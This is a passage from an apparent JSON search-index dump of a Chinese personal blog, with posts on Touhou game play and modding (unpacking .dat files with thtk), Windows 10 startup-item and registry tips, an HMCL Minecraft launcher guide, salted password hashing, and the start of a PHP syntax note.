\u003c/p\u003e\u003cp\u003e后半阶段:到这里,这张符卡的血量基本就剩下一半左右了(满火力情况下)。此时符卡难度会有较大提升,具体的有弹幕速度变快,麻将花发弹间隔缩短。因此更容易出现封位弹。这里就有一定的看脸成分了。首先一定要做好预判,全局把握,视野不能放的太低;其次高低速切换一定要提前做,不然很容易撞;还有,遇到小缝要看准了钻,此处需要很好的底力;最后多洗脸,别脸太黑了(不是) \u003c/p\u003e\u003ch2 id=\"总结\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/26/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E7%AC%A6%E5%8D%A1%E7%AC%94%E8%AE%B0-%E4%B8%9C%E6%96%B9%E9%A3%8E%E7%A5%9E%E5%BD%95-%E3%80%90%E9%A3%8E%E7%A5%9E%E7%9A%84%E7%A5%9E%E5%BE%B7%E3%80%91/#%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e交叉弹很能训练底力,高低切很考验预判和反应能力,钻小缝考验心态和信心。总而言之,个人认为适合用于提升底力的练习。 \u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/26/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E7%AC%A6%E5%8D%A1%E7%AC%94%E8%AE%B0-%E4%B8%9C%E6%96%B9%E9%A3%8E%E7%A5%9E%E5%BD%95-%E3%80%90%E9%A3%8E%E7%A5%9E%E7%9A%84%E7%A5%9E%E5%BE%B7%E3%80%91/"},{"title":"Win10添加开机启动项","time":"2021-07-25T15:36:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch3 id=\"方法一:开机启动文件夹\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/Win10%E6%B7%BB%E5%8A%A0%E5%BC%80%E6%9C%BA%E5%90%AF%E5%8A%A8%E9%A1%B9/#%E6%96%B9%E6%B3%95%E4%B8%80%EF%BC%9A%E5%BC%80%E6%9C%BA%E5%90%AF%E5%8A%A8%E6%96%87%E4%BB%B6%E5%A4%B9\" class=\"headerlink\" title=\"方法一:开机启动文件夹\"\u003e\u003c/a\u003e方法一:开机启动文件夹\u003c/h3\u003e\u003cp\u003e1、我们打开文件夹:C:\\Users(用户)\\Administrator(当前用户名)\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs(「开始」菜单)\\Programs(程序)\\Startup(启动 )即可找到启动文件夹\u003c/p\u003e\u003cp\u003ePS:也可以在运行中粘贴以下路径回车打开\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e2、然后我们把软件的快捷方式,或是文件放到该启动文件夹中,Win10开机后就可以自动运行了。\u003c/p\u003e\u003ch3 id=\"方法二:注册表添加启动项\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/Win10%E6%B7%BB%E5%8A%A0%E5%BC%80%E6%9C%BA%E5%90%AF%E5%8A%A8%E9%A1%B9/#%E6%96%B9%E6%B3%95%E4%BA%8C%EF%BC%9A%E6%B3%A8%E5%86%8C%E8%A1%A8%E6%B7%BB%E5%8A%A0%E5%90%AF%E5%8A%A8%E9%A1%B9\" class=\"headerlink\" title=\"方法二:注册表添加启动项\"\u003e\u003c/a\u003e方法二:注册表添加启动项\u003c/h3\u003e\u003cp\u003e1、打开运行,输入“regedit”,打开注册表。\u003c/p\u003e\u003cp\u003e2、在注册表中找到如下位置HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run,右键“Run”新建一个字符串类型的键值。\u003c/p\u003e\u003cp\u003e3、右键新建的键值,选择“修改”,将数值名称改为 你要启动的程序名称如:ctfmon.exe,数值数据改为 程序所在位置的路径 如:C:\\windows\\system32\\ctfmon.exe (直接不能修改名字的,可以先点击重命名,改好名字,再点击修改,修改数值数据)\u003c/p\u003e\u003cp\u003e4、最后,再重新启动win10你设置的程序就可以在Win10开机后自己启动了!\u003c/p\u003e\u003ch3 id=\"方法三:任务计划程序\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/Win10%E6%B7%BB%E5%8A%A0%E5%BC%80%E6%9C%BA%E5%90%AF%E5%8A%A8%E9%A1%B9/#%E6%96%B9%E6%B3%95%E4%B8%89%EF%BC%9A%E4%BB%BB%E5%8A%A1%E8%AE%A1%E5%88%92%E7%A8%8B%E5%BA%8F\" class=\"headerlink\" title=\"方法三:任务计划程序\"\u003e\u003c/a\u003e方法三:任务计划程序\u003c/h3\u003e\u003cp\u003e1、在“我的电脑”-》“右键”-》“管理” ;\u003c/p\u003e\u003cp\u003e2、这时会打开任务计划程序,右边有一个创建基本任务和一个创建任务,我们先点开创建基本任务。\u003c/p\u003e\u003cp\u003e3、这个时候就需要你写一些名字啊,描述啊什么的,可以随便填一填,然后下一步。\u003c/p\u003e\u003cp\u003e4、这个时候要选择什么时候触发,可以选择什么时候开始执行。小编选择的是用户登录时,就是开机,输入密码登录后就执行,然后下一步。\u003c/p\u003e\u003cp\u003e5、选择一个操作,小编选择启动程序,然后选择一个批处理,因为我们的批处理不用传参,可选参数就不管了,直接下一步。\u003c/p\u003e\u003cp\u003e6、然后就完成啦,可以试试,开机的时候,会不会自启动。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/Win10%E6%B7%BB%E5%8A%A0%E5%BC%80%E6%9C%BA%E5%90%AF%E5%8A%A8%E9%A1%B9/"},{"title":"HMCL食用教程","time":"2021-07-23T13:39:02Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/23/%E6%B8%B8%E6%88%8F/Minecraft/HMCL%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8D%97/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e说是启动器,其实包括下载、mod管理等等功能都包含了。而且自定义选项也相当丰富,对新手而言,入门简单;对老鸟而言,配置方便。而且还包括Windows,Linux平台支持。总之就是很推荐(\u003c/p\u003e\u003ch2 id=\"初始化\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/23/%E6%B8%B8%E6%88%8F/Minecraft/HMCL%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8D%97/#%E5%88%9D%E5%A7%8B%E5%8C%96\" class=\"headerlink\" title=\"初始化\"\u003e\u003c/a\u003e初始化\u003c/h2\u003e\u003cp\u003e步骤很简单。\u003c/p\u003e\u003cul\u003e\u003cli\u003e下载客户端文件和Java。如果没有的话,请点击下列链接下载。\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/isNubrnc2ed\"\u003eHMCL for Windows\u003c/a\u003e | \u003ca href=\"https://dreamweb.lanzoui.com/i4Gujrnc2hg\"\u003eJava\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e下载完之后,把启动器放在一个你能找到的地方。但是别放在桌面之类的地方(\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e安装Java。安装文件在上面。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e打开HMCL。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e若是正版用户:切换登陆方式到正版登录,输入用户名,密码,登陆成功。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e非正版用户:选择离线模式,输入自己的游戏昵称(可以随意设定,但是设定好了最好不要随意改)登陆成功。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e游戏下载:点击左侧列表的当前目录,随后点击右下角的+,填写名称,修改游戏路径,点击保存\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e基本就是这样了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/23/%E6%B8%B8%E6%88%8F/Minecraft/HMCL%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8D%97/"},{"title":"Win10删除此电脑中多余图标","time":"2021-07-20T04:16:24Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e原文地址:\u003ca href=\"http://mip.xitongcheng.com/jiaocheng/win10_article_11699.html\"\u003ehttp://mip.xitongcheng.com/jiaocheng/win10_article_11699.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e具体方法\u003c/p\u003e\u003cp\u003e  1、按WIN+R调出运行,然后输入 regedit 回车,打开注册表编辑器。\u003c/p\u003e\u003cp\u003e  2、在注册表中定位到:HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\NameSpace项。\u003c/p\u003e\u003cp\u003e  3、选中“NameSpace”后,在右键窗口中删除所有值。\u003c/p\u003e\u003cp\u003e  4、退出注册表后,此电脑中多余图标消失。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/20/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/Win10%E5%88%A0%E9%99%A4%E6%AD%A4%E7%94%B5%E8%84%91%E4%B8%AD%E5%A4%9A%E4%BD%99%E5%9B%BE%E6%A0%87/"},{"title":"东方STG魔改日志-1-解包","time":"2021-07-20T01:26:53Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"序言\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/20/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E4%B8%9C%E6%96%B9STG%E9%AD%94%E6%94%B9%E6%97%A5%E5%BF%97-1-%E8%A7%A3%E5%8C%85/#%E5%BA%8F%E8%A8%80\" class=\"headerlink\" title=\"序言\"\u003e\u003c/a\u003e序言\u003c/h2\u003e\u003cp\u003e之前,我发过一篇详细注释过的ECL脚本。当时是在做绀珠传的符卡魔改来着……不过已经咕了太久了。这次,我打算从头开始,详细记录一下魔改的相关知识。\u003c/p\u003e\u003ch2 id=\"关于魔改\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/20/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E4%B8%9C%E6%96%B9STG%E9%AD%94%E6%94%B9%E6%97%A5%E5%BF%97-1-%E8%A7%A3%E5%8C%85/#%E5%85%B3%E4%BA%8E%E9%AD%94%E6%94%B9\" class=\"headerlink\" title=\"关于魔改\"\u003e\u003c/a\u003e关于魔改\u003c/h2\u003e\u003cp\u003e魔改(modification),也就是mod,指的就是通过技术手段对程序进行修改,从而达到一些目的(比如东方正作STG的魔改,一般都是为了整活XD)。对[[東方Project:同人界永远的奇迹|东方]]的魔改,一般就是玩法拓展,贴图更换,弹幕创新之类的。\u003c/p\u003e\u003ch2 id=\"能改什么\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/20/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E4%B8%9C%E6%96%B9STG%E9%AD%94%E6%94%B9%E6%97%A5%E5%BF%97-1-%E8%A7%A3%E5%8C%85/#%E8%83%BD%E6%94%B9%E4%BB%80%E4%B9%88\" class=\"headerlink\" title=\"能改什么\"\u003e\u003c/a\u003e能改什么\u003c/h2\u003e\u003cp\u003e东方正作STG能改的,主要是这几个:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e贴图:比如立绘,背景,UI贴图之类的\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e对话:人物对话,也包括对话时bgm的切换,角色的出现消失之类的\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e弹幕:也就是boss,道中的弹幕。不光是弹幕,其实整个敌人的行为,都可以修改\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e机体:包括自机的火力数据,移动速度以及贴图等等。我之前做的那个“强拆地灵殿”其实本质上就是火力数据修改\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e音乐:不光包括bgm,也包括各种音效(比如擦弹音效,biu~之类的)\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e大多数魔改都是指上面的内容。当然,有些技术力高的dalao(比如鶸,Priw8,yuke等)也会魔改一些其他的东西。比如把地灵殿的魔B移植到绀珠传里,让画面看起来像滚筒洗衣机一样,让移动对象从自机变成画面等等。不过这些一般难度都比较高,需要用到汇编等知识,门槛也相对比较高。其他的一些,比如换贴图,是最简单的一类魔改。\u003c/p\u003e\u003ch2 id=\"怎么改\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/20/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E4%B8%9C%E6%96%B9STG%E9%AD%94%E6%94%B9%E6%97%A5%E5%BF%97-1-%E8%A7%A3%E5%8C%85/#%E6%80%8E%E4%B9%88%E6%94%B9\" class=\"headerlink\" title=\"怎么改\"\u003e\u003c/a\u003e怎么改\u003c/h2\u003e\u003cp\u003e说了这么多,到底怎么改呢?以东方地灵殿为例,我就介绍下魔改的大概流程。\u003c/p\u003e\u003ch3 id=\"魔改对象\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/20/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E4%B8%9C%E6%96%B9STG%E9%AD%94%E6%94%B9%E6%97%A5%E5%BF%97-1-%E8%A7%A3%E5%8C%85/#%E9%AD%94%E6%94%B9%E5%AF%B9%E8%B1%A1\" class=\"headerlink\" title=\"魔改对象\"\u003e\u003c/a\u003e魔改对象\u003c/h3\u003e\u003cp\u003e首先,我们得了解下原作的文件目录结构。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/mg-1-1.png\"/\u003e\u003c/p\u003e\u003cp\u003e这是东方地灵殿的目录。主要文件只有这几个:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003ecustom/custom_c.exe:这是游戏的设置程序。各种高级设置(比如图像质量之类的)都在这里修改。不过并不是核心程序。也就是说,没了它,游戏还能运行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eth11/th11c.dat:我们魔改的核心对象。存储了所有贴图,对话,弹幕脚本,火力数据,音效文件,音乐循环点等关键信息。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eth11/th11c.exe:游戏本体。600多K的大小。也是魔改的一个重要对象,不过因为门槛比较高,所以现阶段就不过多介绍了。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003ethbgm/thbgmogg.dat:游戏音乐。也就是酒鬼写的曲包。这个ogg是因为我为了精简游戏体积(便于传教XD),所以用工具压缩了音乐包的体积(毕竟原体积300+MB,实在太大了)。同时,有了专门修改过的d3d9.dll,这个压缩过的曲包才能被正确识别。也就是说,对于原版游戏,是没有d3d9.dll,曲包也是叫thbgm.dat的。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"魔改工具\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/20/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E4%B8%9C%E6%96%B9STG%E9%AD%94%E6%94%B9%E6%97%A5%E5%BF%97-1-%E8%A7%A3%E5%8C%85/#%E9%AD%94%E6%94%B9%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"魔改工具\"\u003e\u003c/a\u003e魔改工具\u003c/h3\u003e\u003cp\u003e这篇文章,我只介绍怎么解包原作的文件(比如这作就是th11/th11c.dat)。所以用到的工具只有一个:Touhou Toolkit(thtk)。顾名思义,thtk是东方的工具包。详情可以上\u003ca href=\"https://github.com/thpatch/thtk\"\u003eGitHub看看\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e不过注意,这个工具是没有GUI(图形界面)的,只能在命令行里用指令进行操作。所以入门相对而言会麻烦一些。好在有julao写了图形化的re_thtk_gui,便于使用。详情请看\u003ca href=\"https://github.com/RUEEE/re_thtk_gui/\"\u003e这里\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"开始\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/20/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E4%B8%9C%E6%96%B9STG%E9%AD%94%E6%94%B9%E6%97%A5%E5%BF%97-1-%E8%A7%A3%E5%8C%85/#%E5%BC%80%E5%A7%8B\" class=\"headerlink\" title=\"开始\"\u003e\u003c/a\u003e开始\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e打开工具,左上角菜单里选择正确的版本。在thdat选项组里找到第二行:文件路径。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e点击右侧三个点,找到你的游戏目录,打开目录中th11/th11c.dat。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/file/img/mg-1-2.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e点击解包、获取文件列表,等待执行完毕。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e完成后,打开游戏目录。你会看到新增了data文件夹。打开data文件夹,你会看到游戏的大部分资源,包括音效、贴图、ECL弹幕脚本等。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e到这里还没有结束。因为只有音效是可以直接用的,其他的还是压缩状态。怎么办?很简单,用工具解包它们!\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e以thanm(即贴图)为例。对于后缀为.anm的文件,我们在工具的thanm选项组里找到第二行\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e和thdat的解包方法一样,点击右侧三个点,进入刚生成的data文件夹中,选择要解包的anm文件\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e点击解包、获取描述文件,等待完成\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e完成后,去data目录里看一看,是不是生成了一个ANM文件夹?它就是我们的解包成果。点开里面的目录,就是我们想要的贴图!\u003c/p\u003e\u003cp\u003e我们可以对贴图进行修改,然后先点击thanm的打包,再点击thdat的打包,生成打包好的th11/th11c.dat。打开游戏,就能看到你的成果了。\u003c/p\u003e\u003cp\u003e比如我一个改贴图的屑作:\u003ca href=\"https://xeonds.github.io/2021/07/20/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E4%B8%9C%E6%96%B9STG%E9%AD%94%E6%94%B9%E6%97%A5%E5%BF%97-1-%E8%A7%A3%E5%8C%85/%E3%80%90%E9%AD%94%E6%94%B9%E3%80%91%E4%B8%9C%E6%96%B9%E8%99%B9%E9%BE%99%E4%BC%A0%EF%BC%88%EF%BC%9F.md\"\u003e【魔改】东方虹龙传(?\u003c/a\u003e,试图把六面变成纯狐(\u003c/p\u003e\u003ch2 id=\"结尾\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/20/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E4%B8%9C%E6%96%B9STG%E9%AD%94%E6%94%B9%E6%97%A5%E5%BF%97-1-%E8%A7%A3%E5%8C%85/#%E7%BB%93%E5%B0%BE\" class=\"headerlink\" title=\"结尾\"\u003e\u003c/a\u003e结尾\u003c/h2\u003e\u003cp\u003e掌握了基本的解包打包技术后,你就能通过替换贴图来实现初等的魔改了。想想能做什么有意思的事吧(\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/20/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E4%B8%9C%E6%96%B9STG%E9%AD%94%E6%94%B9%E6%97%A5%E5%BF%97-1-%E8%A7%A3%E5%8C%85/"},{"title":"盐值加密","time":"2021-07-18T16:14:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e在[[程序设计]]方面,密码等信息的加密很重要,已经有一些现成的方案来加密存储了。加密盐可以看作是用其他信息去干扰密码加密结果,从而加大破解难度。\u003c/p\u003e\u003ch2 id=\"加密盐的实现方法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1/%E7%9B%90%E5%80%BC%E5%8A%A0%E5%AF%86/#%E5%8A%A0%E5%AF%86%E7%9B%90%E7%9A%84%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"加密盐的实现方法\"\u003e\u003c/a\u003e加密盐的实现方法\u003c/h2\u003e\u003ch3 id=\"加密存储\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1/%E7%9B%90%E5%80%BC%E5%8A%A0%E5%AF%86/#%E5%8A%A0%E5%AF%86%E5%AD%98%E5%82%A8\" class=\"headerlink\" title=\"加密存储\"\u003e\u003c/a\u003e加密存储\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e输入: 密码字符串passWord\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e输出:盐值 salt 、密码密文passWordHash\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数:加密hash函数\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e其中:“盐值 salt”是在加密过程中生成的随机字符串;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e可以将salt放到passWord前面作为前缀或放到passWord后面作为后缀得到新的字符串PS,即,PS = password和salt的组合串;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e密码密文passWordHash = Hash加密函数(PS );\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e将用户名、密码密文passWordHash和盐值salt一起保存到数据库中。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"密码校验\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1/%E7%9B%90%E5%80%BC%E5%8A%A0%E5%AF%86/#%E5%AF%86%E7%A0%81%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"密码校验\"\u003e\u003c/a\u003e密码校验\u003c/h3\u003e\u003cp\u003e输入:密码字符串password\u003c/p\u003e\u003cp\u003e输出:密码校验是否成功\u003c/p\u003e\u003cp\u003e处理:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e取出当前用户密码加密时使用的盐值salt\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e得到本次输入的密码password和盐值salt的组合字符串PS\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e得出本次输入密码的密文passwordHash= Hash加密函数(PS );\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e比较passwordHash和用户最初设置的密码密文password是否一致,如果一致,则校验成功,否则校验失败。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"注意事项\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1/%E7%9B%90%E5%80%BC%E5%8A%A0%E5%AF%86/#%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9\" class=\"headerlink\" title=\"注意事项\"\u003e\u003c/a\u003e注意事项\u003c/h2\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e盐值不能太短;如果盐值只有少数两三位甚至一两位的话,攻击者完全可以穷举所有可能的盐值;关于盐值长度的一个经验值是长度至少要和hash加密函数的返回值长度保持一致。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e盐值不能固定;如果系统使用了固定的盐值,那么和不加盐相当于是一回事了,攻击者完全可以使用该固定的盐值提前准备密码表;另外,相同密码对应的hash值仍然是一样的,仍然无法对密码相同这一事实进行掩饰。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e不要使用能提前预知的值作为盐值;如果盐值能提前得知或提前推断出,攻击者也完全可以根据提前预知的盐值准备密码表,从而对破解的难度也增加不了多少。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e每一次修改密码重新计算hash值时,要重新生成新的盐值,不要使用上次密码对应的盐值;因为如果用户密码泄露之后,盐值相应的也就泄露了,用户修改密码时,如果还沿用原来的盐值,攻击者也仍然可以根据上次的盐值提前准备密码表,从而使攻破可能性变得更高了。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1/%E7%9B%90%E5%80%BC%E5%8A%A0%E5%AF%86/"},{"title":"PHP中三种鬼畜符号的用法","time":"2021-07-18T15:56:48Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"x3D-gt-的用法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E4%B8%AD%E4%B8%89%E7%A7%8D%E9%AC%BC%E7%95%9C%E7%AC%A6%E5%8F%B7%E7%9A%84%E7%94%A8%E6%B3%95/#x3D-gt-%E7%9A%84%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"=\u0026gt;的用法\"\u003e\u003c/a\u003e=\u0026gt;的用法\u003c/h2\u003e\u003cp\u003e在php中数组默认键名是整数,也可以自己定义任意字符键名(最好是有实际意义),如:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$css=array(\u0026#39;style\u0026#39;=\u0026gt;\u0026#39;0\u0026#39;,‘color’=\u0026gt;‘green‘);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 则$css[\u0026#39;style\u0026#39;]==\u0026#39;0\u0026#39;,$css[\u0026#39;color\u0026#39;]==\u0026#39;green\u0026#39;。\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"gt-的用法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E4%B8%AD%E4%B8%89%E7%A7%8D%E9%AC%BC%E7%95%9C%E7%AC%A6%E5%8F%B7%E7%9A%84%E7%94%A8%E6%B3%95/#gt-%E7%9A%84%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"-\u0026gt;的用法\"\u003e\u003c/a\u003e-\u0026gt;的用法\u003c/h2\u003e\u003cp\u003e用来引用对象的成员(属性与方法)。相当于其他语言中的“.”。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan 